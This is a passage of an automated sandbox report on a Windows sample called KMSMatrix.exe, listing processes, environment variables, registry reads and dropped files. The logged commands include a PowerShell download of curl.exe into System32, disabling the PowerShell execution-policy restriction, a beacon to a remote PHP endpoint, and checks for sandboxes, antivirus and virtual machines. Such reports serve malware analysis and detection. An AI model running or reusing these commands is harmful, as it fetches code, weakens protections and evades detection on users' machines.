ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,"4f:Tf4c,Observed system executable string:"%WINDIR%\System32\cmd.exe" [Source: 00000000-00002616-00000BC1-41038307] Observed system executable string:"%WINDIR%\System32\WindowsPowerShell\v1.0\powershell.exe" [Source: 00000000-00002616-00000BC0-42961218] Observed system executable string:""%WINDIR%\System32\WindowsPowerShell\v1.0\powershell.exe" & Set-ExecutionPolicy Unrestricted -Force" [Source: 00000000-00002616-00000C41-11775925959] Observed system executable string:""%WINDIR%\System32\WindowsPowerShell\v1.0\powershell.exe" & \"%TEMP%\s_w.ps1\"" [Source: 00000000-00002616-00000C41-22958876562] Observed system executable string:"%WINDIR%\System32\timeout.exe" [Source: 00000000-00006600-00000BC0-41485867] Observed system executable string:"%WINDIR%\system32\timeout.exe" [Source: 00000000-00006600-00000C41-960609621] Observed system executable string:"%WINDIR%\System32\findstr.exe" [Source: 00000000-00008068-00000BC0-49529392] Observed system executable string:"%WINDIR%\System32\find.exe" [Source: 00000000-00008068-00000BC0-51890673] Observed system executable string:"%WINDIR%\System32\reg.exe" [Source: 00000000-00008068-00000BC0-54895164] Observed system executable string:"%WINDIR%\System32\fltMC.exe" [Source: 00000000-00008068-00000BC0-60735652] Observed system executable string:"%WINDIR%\system32\cmd.exe" [Source: 00000000-00008068-00000C41-9780408241] Observed system executable string:"%WINDIR%\system32\cmd.exe /S /D /c" echo "/kms" "" [Source: 00000000-00008068-00000C41-9780408241] Observed system executable string:"%WINDIR%\system32\cmd.exe /c ver" [Source: 00000000-00008068-00000C41-14820917927] Observed system executable string:"%WINDIR%\system32\cmd.exe /c echo prompt $E | cmd" [Source: 00000000-00008068-00000C41-23553132532] Observed system executable string:"%WINDIR%\system32\cmd.exe /S /D /c" echo "%TEMP%\m_srv.cmd" "" [Source: 00000000-00008068-00000C41-28408430242] Observed system executable string:"%WINDIR%\system32\cmd.exe /c wmic path win32_LocalTime Get Day,Month,Year /value" [Source: 00000000-00008068-00000C41-47274241477] Observed system executable string:"%WINDIR%\system32\cmd.exe /c tasklist /fi "imagename eq SbieSvc.exe" /fo csv /nh" [Source: 00000000-00008068-00000C41-53257016263] Observed system executable string:"%WINDIR%\system32\cmd.exe /c reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SystemInformation" /v "SystemProduc" [Source: 00000000-00008068-00000C41-59348704249], Observed system executable string:"%WINDIR%\system32\cmd.exe /c reg query "HKEY_LOCAL_MACHINE\SYSTEM\HardwareConfig\Current" /v "SystemProductName"" [Source: 00000000-00008068-00000C41-61497892490], Observed system executable string:"%WINDIR%\system32\cmd.exe /c tasklist /fi "imagename eq ekrn.exe" /fo csv /nh" [Source: 00000000-00008068-00000C41-64169663607], Observed system executable string:"%WINDIR%\system32\cmd.exe /c tasklist /fi "imagename eq QHActiveDefense.exe" /fo csv /nh" [Source: 00000000-00008068-00000C41-68177950289], Observed system executable string:"%WINDIR%\system32\cscript.exe.*" [Source: 00000000-00001580-00000C28-15822815229], Observed system executable string:""%WINDIR%\system32\cscript.exe" slmgr.vbs /dlv" [Source: 00000000-00001580-00000C41-16106461332], Observed system executable string:"%WINDIR%\system32\cmd.exe /S /D /c" echo prompt $E "" [Source: 00000000-00006476-00000C41-1858671863], Observed system executable string:"%WINDIR%\System32\wbem\WMIC.exe" [Source: 00000000-00002036-00000BC0-68006330], Observed system executable string:"%WINDIR%\System32\tasklist.exe" [Source: 00000000-00006596-00000BC0-70362228], Observed system executable string:"powershell "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (new-object net.webclient).DownloadFile('https://github.com/cloud1cybertron/wincurl/raw/main/curl.exe', '%WINDIR%\System32\curl.exe')"" [Source: powershell.exe]50:T2599,Process "timeout.exe" (UID: 00000000-00005476) was launched with new environment variables: "PROMPT="$P$G"" Process "powershell.exe" (UID: 00000000-00006552) was launched with missing environment variables: "PROMPT" Process "findstr.exe" (UID: 00000000-00007624) was launched with new environment variables: "PROMPT="$P$G", _cmdf="%TEMP%\m_srv.cmd"" Process "findstr.exe" (UID: 00000000-00007624) was launched with modified environment variables: "Path" Process "cmd.exe" (UID: 00000000-00001956) was launched with new environment variables: "_args="/kms"" Process "cmd.exe" (UID: 00000000-00007456) was launched with new environment variables: "_work="%LOCALAPPDATA%\Temp", _Blue=""40;94m"", nul=">nul 2>&1", pid="p2", Black=""30m"", dt="110124", Month="01", yn="23", eline="echo: &call :_color "41;97m" "==== ERROR ====" &echo:", _MASunattended="1", dt3v="121223", _White=""40;37m"", s1="matrix66", _Red=""40;91m"", Gray=""100;97m"", _Yellow=""40;93m"", ei="67.218.111.202", bits="/reg:32", Magenta=""45;97m"", _batp="%TEMP%\m_srv.cmd", Yellow=""43;97m"", _batf="%TEMP%\m_srv.cmd", dt2v="121223", psc="powershell.exe", p1="p2", d1="11", d2="12", d3="12", sb="INFO: No tasks are running which match the specified criteria.", sid="matrix66", _NCS="1", cnfv="%TEMP%\cnf", dt1v="111223", vm2=""aLV3al YA1mCS2 Platform"", nceline="echo: &echo ==== ERROR ==== &echo:", vm1=""982Bk59eRk9"", _Green=""40;92m"", _PSarg=""""%TEMP%\m_srv.cmd""" -el /kms", osB="AMD64", m1="12", Blue=""44;97m"", Red=""41;97m"", esc="", Year="24", pf="%PROGRAMFILES%\(x86)", winbuild="16299", _ttemp="%LOCALAPPDATA%\Temp", Day="11", Green=""42;97m""" Process "cscript.exe" (UID: 00000000-00007460) was launched with modified environment variables: "PSModulePath, PATHEXT, Path" Process "cscript.exe" (UID: 00000000-00007460) was launched with missing environment variables: "_work, _Blue, nul, pid, Black, dt, Month, yn, eline, _MASunattended, dt3v, _White, s1, _Red, _cmdf, Gray, _Yellow, ei, bits, Magenta, _batp, Yellow, _batf, dt2v, psc, p1, PROMPT, d1, d2, d3, sb, sid, _NCS, _args, cnfv, dt1v, vm2, nceline, vm1, _Green, _PSarg, osB, m1, Blue, Red, esc, Year, pf, winbuild, _ttemp, Day, Green" Process "reg.exe" (UID: 00000000-00007228) was launched with new environment variables: "psc="powershell.exe", nul=">nul 2>&1", PROMPT="$P$G", _NCS="1", _args="/kms", _MASunattended="1", _cmdf="%TEMP%\m_srv.cmd", winbuild="16299"" Process "reg.exe" (UID: 00000000-00007228) was launched with modified environment variables: "PSModulePath, Path, PATHEXT" Process "find.exe" (UID: 00000000-00005708) was launched with new environment variables: "_work="%LOCALAPPDATA%\Temp", _Blue=""40;94m"", pid="p2", Black=""30m"", dt="110124", Month="01", yn="23", eline="echo: &call :_color "41;97m" "==== ERROR ====" &echo:", dt3v="121223", _White=""40;37m"", ec="US", s1="matrix66", _Red=""40;91m"", Gray=""100;97m"", _Yellow=""40;93m"", ei="67.218.111.202", bits="/reg:32", Magenta=""45;97m"", _batp="%TEMP%\m_srv.cmd", Yellow=""43;97m"", _batf="%TEMP%\m_srv.cmd", dt2v="121223", p1="p2", d1="11", d2="12", d3="12", sb="INFO: No tasks are running which match the specified criteria.", sid="matrix66", cnfv="%TEMP%\cnf", dt1v="111223", vm2=""aLV3al YA1mCS2 Platform"", nceline="echo: &echo ==== ERROR ==== &echo:", vm1=""982Bk59eRk9"", _Green=""40;92m"", _PSarg=""""%TEMP%\m_srv.cmd""" -el /kms", osB="AMD64", m1="12", Blue=""44;97m"", Red=""41;97m"", esc="", Year="24", pf="%PROGRAMFILES%\(x86)", _ttemp="%LOCALAPPDATA%\Temp", Day="11", Green=""42;97m""" Process "cmd.exe" (UID: 00000000-00006476) was launched with missing environment variables: "_work, _Blue, pid, Black, dt, Month, yn, eline, dt3v, _White, ec, s1, _Red, Gray, _Yellow, ei, bits, Magenta, _batp, Yellow, _batf, dt2v, p1, d1, d2, d3, sb, sid, cnfv, dt1v, vm2, nceline, vm1, _Green, _PSarg, osB, m1, Blue, Red, esc, Year, pf, _ttemp, Day, Green" Process "cmd.exe" (UID: 00000000-00008108) was launched with new environment variables: "_work="%LOCALAPPDATA%\Temp", _Blue=""40;94m"", pid="p2", Black=""30m"", dt="110124", Month="01", yn="23", eline="echo: &call :_color "41;97m" "==== ERROR ====" &echo:", dt3v="121223", _White=""40;37m"", ec="US", s1="matrix66", _Red=""40;91m"", Gray=""100;97m"", _Yellow=""40;93m"", ei="67.218.111.202", bits="/reg:32", Magenta=""45;97m"", _batp="%TEMP%\m_srv.cmd", Yellow=""43;97m"", _batf="%TEMP%\m_srv.cmd", dt2v="121223", p1="p2", d1="11", d2="12", d3="12", sb="INFO: No tasks are running which match the specified criteria.", sid="matrix66", cnfv="%TEMP%\cnf", dt1v="111223", vm2=""aLV3al YA1mCS2 Platform"", nceline="echo: &echo ==== ERROR ==== &echo:", vm1=""982Bk59eRk9"", _Green=""40;92m"", _PSarg=""""%TEMP%\m_srv.cmd""" -el /kms", osB="AMD64", m1="12", Blue=""44;97m"", Red=""41;97m"", esc="", Year="24", pf="%PROGRAMFILES%\(x86)", _ttemp="%LOCALAPPDATA%\Temp", Day="11", Green=""42;97m""" Process "cmd.exe" (UID: 00000000-00008156) was launched with missing environment variables: "_work, _Blue, pid, Black, dt, Month, yn, eline, dt3v, _White, ec, s1, _Red, Gray, _Yellow, ei, bits, Magenta, _batp, Yellow, _batf, dt2v, p1, d1, d2, d3, sb, sid, cnfv, dt1v, vm2, nceline, vm1, _Green, _PSarg, osB, m1, Blue, Red, esc, Year, pf, _ttemp, Day, Green" Process "cmd.exe" (UID: 00000000-00007188) was launched with new environment variables: "_work="%LOCALAPPDATA%\Temp", _Blue=""40;94m"", pid="p2", Black=""30m"", dt="110124", Month="01", yn="23", eline="echo: &call :_color "41;97m" "==== ERROR ====" &echo:", dt3v="121223", _White=""40;37m"", _Red=""40;91m"", ec="US", s1="matrix66", Gray=""100;97m"", _Yellow=""40;93m"", ei="67.218.111.202", bits="/reg:32", Magenta=""45;97m"", _batp="%TEMP%\m_srv.cmd", Yellow=""43;97m"", _batf="%TEMP%\m_srv.cmd", dt2v="121223", p1="p2", d1="11", d2="12", d3="12", sb="INFO: No tasks are running which match the specified criteria.", sid="matrix66", cnfv="%TEMP%\cnf", dt1v="111223", vm2=""aLV3al YA1mCS2 Platform"", nceline="echo: &echo ==== ERROR ==== &echo:", vm1=""982Bk59eRk9"", _Green=""40;92m"", _PSarg=""""%TEMP%\m_srv.cmd""" -el /kms", osB="AMD64", m1="12", Blue=""44;97m"", Red=""41;97m"", esc="", Year="24", pf="%PROGRAMFILES%\(x86)", _ttemp="%LOCALAPPDATA%\Temp", Day="11", Green=""42;97m""" Process "find.exe" (UID: 00000000-00002660) was launched with missing environment variables: "pid, dt, Month, yn, dt3v, ec, s1, ei, bits, dt2v, p1, d1, d2, d3, sb, sid, cnfv, dt1v, vm2, vm1, osB, m1, Year, pf, Day" Process "cmd.exe" (UID: 00000000-00005684) was launched with new environment variables: "pid="p2", dt="110124", Month="01", yn="23", dt3v="121223", ec="US", s1="matrix66", ei="67.218.111.202", bits="/reg:32", es="10", dt2v="121223", p1="p2", d1="11", d2="12", d3="12", sb="INFO: No tasks are running which match the specified criteria.", sid="matrix66", cnfv="%TEMP%\cnf", dt1v="111223", vm2=""aLV3al YA1mCS2 Platform"", vm1=""982Bk59eRk9"", osB="AMD64", m1="12", Year="24", pf="%PROGRAMFILES%\(x86)", Day="11"" Process "find.exe" (UID: 00000000-00005552) was launched with missing environment variables: "pid, dt, Month, yn, dt3v, ec, s1, ei, bits, es, dt2v, p1, d1, d2, d3, sb, sid, cnfv, dt1v, vm2, vm1, osB, m1, Year, pf, Day" Process "cmd.exe" (UID: 00000000-00002036) was launched with new environment variables: "yn="23", bits="/reg:32", osB="AMD64", pf="%PROGRAMFILES%\(x86)"" Process "cmd.exe" (UID: 00000000-00008016) was launched with modified environment variables: "Path" Process "cmd.exe" (UID: 00000000-00008016) was launched with missing environment variables: "_work, _Blue, nul, Black, yn, eline, _MASunattended, _White, _Red, Gray, _cmdf, _Yellow, bits, Magenta, _batp, Yellow, _batf, psc, PROMPT, _NCS, _args, nceline, _Green, _PSarg, osB, Blue, Red, esc, pf, winbuild, _ttemp, Green" Process "cmd.exe" (UID: 00000000-00006596) was launched with new environment variables: "_work="%LOCALAPPDATA%\Temp", _Blue=""40;94m"", nul=">nul 2>&1", pid="p2", Black=""30m"", dt="110124", Month="01", yn="23", eline="echo: &call :_color "41;97m" "==== ERROR ====" &echo:", _MASunattended="1", dt3v="121223", _White=""40;37m"", _Red=""40;91m"", Gray=""100;97m"", _cmdf="%TEMP%\m_srv.cmd", _Yellow=""40;93m"", bits="/reg:32", Magenta=""45;97m"", _batp="%TEMP%\m_srv.cmd", Yellow=""43;97m"", _batf="%TEMP%\m_srv.cmd", dt2v="121223", psc="powershell.exe", PROMPT="$P$G", d1="11", d2="12", d3="12", sid="matrix66", _NCS="1", _args="/kms", cnfv="%TEMP%\cnf", dt1v="111223", nceline="echo: &echo ==== ERROR ==== &echo:", _Green=""40;92m"", _PSarg=""""%TEMP%\m_srv.cmd""" -el /kms", osB="AMD64", m1="12", Blue=""44;97m"", Red=""41;97m"", esc="", Year="24", pf="%PROGRAMFILES%\(x86)", winbuild="16299", _ttemp="%LOCALAPPDATA%\Temp", Day="11", Green=""42;97m""" Process "cmd.exe" (UID: 00000000-00006596) was launched with modified environment variables: "Path" Process "reg.exe" (UID: 00000000-00003940) was launched with new environment variables: "sb="INFO: No tasks are running which match the specified criteria."" Process "cmd.exe" (UID: 00000000-00003944) was launched with new environment variables: "vm1=""982Bk59eRk9""" Process "cmd.exe" (UID: 00000000-00000336) was launched with new environment variables: "vm2=""aLV3al YA1mCS2 Platform""" Process "cmd.exe" (UID: 00000000-00006048) was launched with new environment variables: "s1="matrix66", p1="p2"" Process "curl.exe" (UID: 00000000-00001688) was launched with new environment variables: "ei="67.218.111.202"" Process "WMIC.exe" (UID: 00000000-00005712) was launched with new environment variables: "ec="US"" Process "WMIC.exe" (UID: 00000000-00007428) was launched with new environment variables: "es="10""51:T7ca,"KMSMatrix.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "KMSMatrix.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "KMSMatrix.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000409") "KMSMatrix.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN") "KMSMatrix.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN") "KMSMatrix.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "KO-KR") "KMSMatrix.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "KO-KR") "KMSMatrix.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "ZH-CN") "KMSMatrix.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "ZH-CN") "KMSMatrix.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "ZH-HK") "KMSMatrix.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "ZH-HK") "KMSMatrix.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "JA-JP") "KMSMatrix.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "JA-JP") "cmd.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "cmd.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "cmd.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000409") "timeout.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "timeout.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000409") "powershell.exe" (Path: "HKCU\CONTROL PANEL\INTERNATIONAL"; Key: "SYEARMONTH")52:T1294,Observed system executable string:"3,"System Version=4.0.0.0 Culture=neutral PublicKeyToken=b77a5c561934e089","C:\WINDOWS\assembly\NativeImages_v4.0.30319_64\System\e43dd9c73ab5615e461bf5109c3facd6\System.ni.dll",0" [Source: KMSMatrix.exe.log] Observed system executable string:"3,"System.Drawing Version=4.0.0.0 Culture=neutral PublicKeyToken=b03f5f7f11d50a3a","C:\WINDOWS\assembly\NativeImages_v4.0.30319_64\System.Drawing\ece80f2e3752a779e894fd45d8f27e64\System.Drawing.ni.dll",0" [Source: KMSMatrix.exe.log] Observed system executable string:"3,"System.Windows.Forms Version=4.0.0.0 Culture=neutral PublicKeyToken=b77a5c561934e089","C:\WINDOWS\assembly\NativeImages_v4.0.30319_64\System.Windows.Forms\b138f79dea860272ebe6694d9b73f656\System.Windows.Forms.ni.dll",0" [Source: KMSMatrix.exe.log] Observed system executable string:"3,"System.Core Version=4.0.0.0 Culture=neutral PublicKeyToken=b77a5c561934e089","C:\WINDOWS\assembly\NativeImages_v4.0.30319_64\System.Core\0d59b0e237d7519417de10cd84bda4e7\System.Core.ni.dll",0" [Source: KMSMatrix.exe.log] Observed system executable string:"3,"System.Configuration Version=4.0.0.0 Culture=neutral PublicKeyToken=b03f5f7f11d50a3a","C:\WINDOWS\assembly\NativeImages_v4.0.30319_64\System.Configuration\4beb1eeca20b27d4bd1bb9880f03cc2a\System.Configuration.ni.dll",0" [Source: KMSMatrix.exe.log] Observed system executable string:"3,"System.Xml Version=4.0.0.0 Culture=neutral PublicKeyToken=b77a5c561934e089","C:\WINDOWS\assembly\NativeImages_v4.0.30319_64\System.Xml\5ee35debfc22f727e70e4479ddcbc045\System.Xml.ni.dll",0" [Source: KMSMatrix.exe.log] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll" [Source: 00000000-00002616-00000C25-38770310] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll" [Source: 00000000-00002616-00000C25-38965450] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" [Source: 00000000-00002616-00000C25-39021759] Observed system executable string:"%WINDIR%\system32\combase.dll" [Source: 00000000-00002616-00000C25-39072525] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\fe2524177eb3088c77be666722039f52\mscorlib.ni.dll" [Source: 00000000-00002616-00000C25-39128618] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll" [Source: 00000000-00002616-00000C25-39147841] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" [Source: 00000000-00002616-00000C25-39179175] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll" [Source: 00000000-00002616-00000C25-39244096] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System\e43dd9c73ab5615e461bf5109c3facd6\System.ni.dll" [Source: 00000000-00002616-00000C25-39277285] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Drawing\ece80f2e3752a779e894fd45d8f27e64\System.Drawing.ni.dll" [Source: 00000000-00002616-00000C25-39296964] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Windows.Forms\b138f79dea860272ebe6694d9b73f656\System.Windows.Forms.ni.dll" [Source: 00000000-00002616-00000C25-39325508] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll" [Source: 00000000-00002616-00000C25-39399576] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en\mscorrc.dll" [Source: 00000000-00002616-00000C25-39411882] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll" [Source: 00000000-00002616-00000C25-39425413] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\uxtheme.dll" [Source: 00000000-00002616-00000C25-39457364] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\0d59b0e237d7519417de10cd84bda4e7\System.Core.ni.dll" [Source: 00000000-00002616-00000C25-39537754] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Configuration\4beb1eeca20b27d4bd1bb9880f03cc2a\System.Configuration.ni.dll" [Source: 00000000-00002616-00000C25-39553828] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Xml\5ee35debfc22f727e70e4479ddcbc045\System.Xml.ni.dll" [Source: 00000000-00002616-00000C25-39573097] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll" [Source: 00000000-00002616-00000C25-39822103]53:T655,"/c ""%TEMP%\\inf.cmd" "" on 2024-1-11.22:58:33.507 "/c ""%TEMP%\\m_srv.cmd" /kms"" on 2024-1-11.22:58:59.371 "/S /D /c" echo "/kms" "" on 2024-1-11.22:59:03.589 "/c ver" on 2024-1-11.22:59:05.667 "/c echo prompt $E | cmd" on 2024-1-11.23:01:09.369 "/S /D /c" echo prompt $E "" on 2024-1-11.23:01:27.626 "/S /D /c" echo "%TEMP%\\m_srv.cmd" "" on 2024-1-11.23:01:53.198 "/S /D /c" echo "/kms" "" on 2024-1-11.23:02:21.586 "/S /D /c" echo "/kms" "" on 2024-1-11.23:02:33.500 "/S /D /c" echo "/kms" "" on 2024-1-11.23:02:36.856 "/S /D /c" echo "/kms" "" on 2024-1-11.23:02:38.074 "/c wmic path win32_LocalTime Get Day,Month,Year /value" on 2024-1-11.23:02:40.436 "/c ""%TEMP%\\s_o.cmd" "" on 2024-1-11.23:03:11.320 "/c tasklist /fi "imagename eq SbieSvc.exe" /fo csv /nh" on 2024-1-11.23:03:12.195 "/c reg query "HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\SystemInformation" /v "SystemProductName"" on 2024-1-11.23:03:14.757 "/c reg query "HKEY_LOCAL_MACHINE\\SYSTEM\\HardwareConfig\\Current" /v "SystemProductName"" on 2024-1-11.23:03:15.663 "/c tasklist /fi "imagename eq ekrn.exe" /fo csv /nh" on 2024-1-11.23:03:16.648 "/c tasklist /fi "imagename eq QHActiveDefense.exe" /fo csv /nh" on 2024-1-11.23:03:18.445 "/c curl https://ipinfo.io/ip -k" on 2024-1-11.23:05:54.556 "/S /D /c" ( findstr /il%WINDIR%\\8" 1>nul )"" on 2024-1-11.23:05:59.821 "/S /D /c" ( findstr /il%WINDIR%\\10" 1>nul )"" on 2024-1-11.23:06:04.399 "/S /D /c" ( findstr /il%WINDIR%\\11" 1>nul )"" on 2024-1-11.23:06:06.681 "/c curl -k https://c.zeltitmp.net/c01.php --user-agent "c010101"" on 2024-1-11.23:06:08.72854:T8f5,Spawned process "cmd.exe" with commandline "/c ""%TEMP%\\inf.cmd" "" (UID: 00000000-00006600) Spawned process "timeout.exe" with commandline "timeout /t 5" (UID: 00000000-00005476) Spawned process "powershell.exe" with commandline "& Set-ExecutionPolicy Unrestricted -Force" (UID: 00000000-00006552) Spawned process "cmd.exe" with commandline "/c ""%TEMP%\\m_srv.cmd" /kms"" (UID: 00000000-00008068) Spawned process "powershell.exe" with commandline "& \\"%TEMP%\\s_w.ps1\\"" (UID: 00000000-00001580) Spawned process "findstr.exe" with commandline "findstr /rxc:".*" "m_srv.cmd"" (UID: 00000000-00007624) Spawned process "cmd.exe" with commandline "/S /D /c" echo "/kms" "" (UID: 00000000-00001956) Spawned process "find.exe" with commandline "find /i "/"" (UID: 00000000-00007548) Spawned process "cmd.exe" with commandline "/c ver" (UID: 00000000-00007456) Spawned process "cscript.exe" with commandline "slmgr.vbs /dlv" (UID: 00000000-00007460) Spawned process "reg.exe" with commandline "reg query "HKCU\\Console" /v ForceV2" (UID: 00000000-00007228) Spawned process "find.exe" with commandline "find /i "0x0"" (UID: 00000000-00005708) Spawned process "cmd.exe" with commandline "/c echo prompt $E | cmd" (UID: 00000000-00006476) Spawned process "cmd.exe" with commandline "/S /D /c" echo prompt $E "" (UID: 00000000-00008108) Spawned process "cmd.exe" (UID: 00000000-00008156) Spawned process "cmd.exe" with commandline "/S /D /c" echo "%TEMP%\\m_srv.cmd" "" (UID: 00000000-00007188) Spawned process "find.exe" with commandline "find /i "%TEMP%\\" (UID: 00000000-00002660), Spawned process "fltMC.exe" (UID: 00000000-00007868), Spawned process "cmd.exe" with commandline "/S /D /c" echo "/kms" "" (UID: 00000000-00007740), Spawned process "find.exe" with commandline "find /i "/S"" (UID: 00000000-00002704), Spawned process "cmd.exe" with commandline "/S /D /c" echo "/kms" "" (UID: 00000000-00005160), Spawned process "find.exe" with commandline "find /i "/"" (UID: 00000000-00005136), Spawned process "cmd.exe" with commandline "/S /D /c" echo "/kms" "" (UID: 00000000-00008172), Spawned process "find.exe" with commandline "find /i "/act-"" (UID: 00000000-00005724), Spawned process "cmd.exe" with commandline "/S /D /c" echo "/kms" "" (UID: 00000000-00005684)55:T8f5,Spawned process "cmd.exe" with commandline "/c ""%TEMP%\\inf.cmd" "" (UID: 00000000-00006600) Spawned process "timeout.exe" with commandline "timeout /t 5" (UID: 00000000-00005476) Spawned process "powershell.exe" with commandline "& Set-ExecutionPolicy Unrestricted -Force" (UID: 00000000-00006552) Spawned process "cmd.exe" with commandline "/c ""%TEMP%\\m_srv.cmd" /kms"" (UID: 00000000-00008068) Spawned process "powershell.exe" with commandline "& \\"%TEMP%\\s_w.ps1\\"" (UID: 00000000-00001580) Spawned process "findstr.exe" with commandline "findstr /rxc:".*" "m_srv.cmd"" (UID: 00000000-00007624) Spawned process "cmd.exe" with commandline "/S /D /c" echo "/kms" "" (UID: 00000000-00001956) Spawned process "find.exe" with commandline "find /i "/"" (UID: 00000000-00007548) Spawned process "cmd.exe" with commandline "/c ver" (UID: 00000000-00007456) Spawned process "cscript.exe" with commandline "slmgr.vbs /dlv" (UID: 00000000-00007460) Spawned process "reg.exe" with commandline "reg query "HKCU\\Console" /v ForceV2" (UID: 00000000-00007228) Spawned process "find.exe" with commandline "find /i "0x0"" (UID: 00000000-00005708) Spawned process "cmd.exe" with commandline "/c echo prompt $E | cmd" (UID: 00000000-00006476) Spawned process "cmd.exe" with commandline "/S /D /c" echo prompt $E "" (UID: 00000000-00008108) Spawned process "cmd.exe" (UID: 00000000-00008156) Spawned process "cmd.exe" with commandline "/S /D /c" echo "%TEMP%\\m_srv.cmd" "" (UID: 00000000-00007188) Spawned process "find.exe" with commandline "find /i "%TEMP%\\" (UID: 00000000-00002660), Spawned process "fltMC.exe" (UID: 00000000-00007868), Spawned process "cmd.exe" with commandline "/S /D /c" echo "/kms" "" (UID: 00000000-00007740), Spawned process "find.exe" with commandline "find /i "/S"" (UID: 00000000-00002704), Spawned process "cmd.exe" with commandline "/S /D /c" echo "/kms" "" (UID: 00000000-00005160), Spawned process "find.exe" with commandline "find /i "/"" (UID: 00000000-00005136), Spawned process "cmd.exe" with commandline "/S /D /c" echo "/kms" "" (UID: 00000000-00008172), Spawned process "find.exe" with commandline "find /i "/act-"" (UID: 00000000-00005724), Spawned process "cmd.exe" with commandline "/S /D /c" echo "/kms" "" (UID: 00000000-00005684)56:T746,"curl.exe" has type "PE32 executable (console) Intel 80386 for MS Windows"- Location: [%WINDIR%\System32\curl.exe]- [targetUID: 00000000-00005180] "m_srv.cmd" has type "DOS batch file ASCII text with very long lines with CRLF line terminators"- Location: [%TEMP%\m_srv.cmd]- [targetUID: 00000000-00008068] "KMSMatrix.exe.log" has type "CSV text"- [targetUID: N/A] "s_w.ps1" has type "ASCII text with CRLF line terminators"- Location: [%TEMP%\s_w.ps1]- [targetUID: 00000000-00002616] "inf.cmd" has type "DOS batch file ASCII text with CRLF line terminators"- Location: [%TEMP%\inf.cmd]- [targetUID: 00000000-00002616] "sslkey.txt" has type 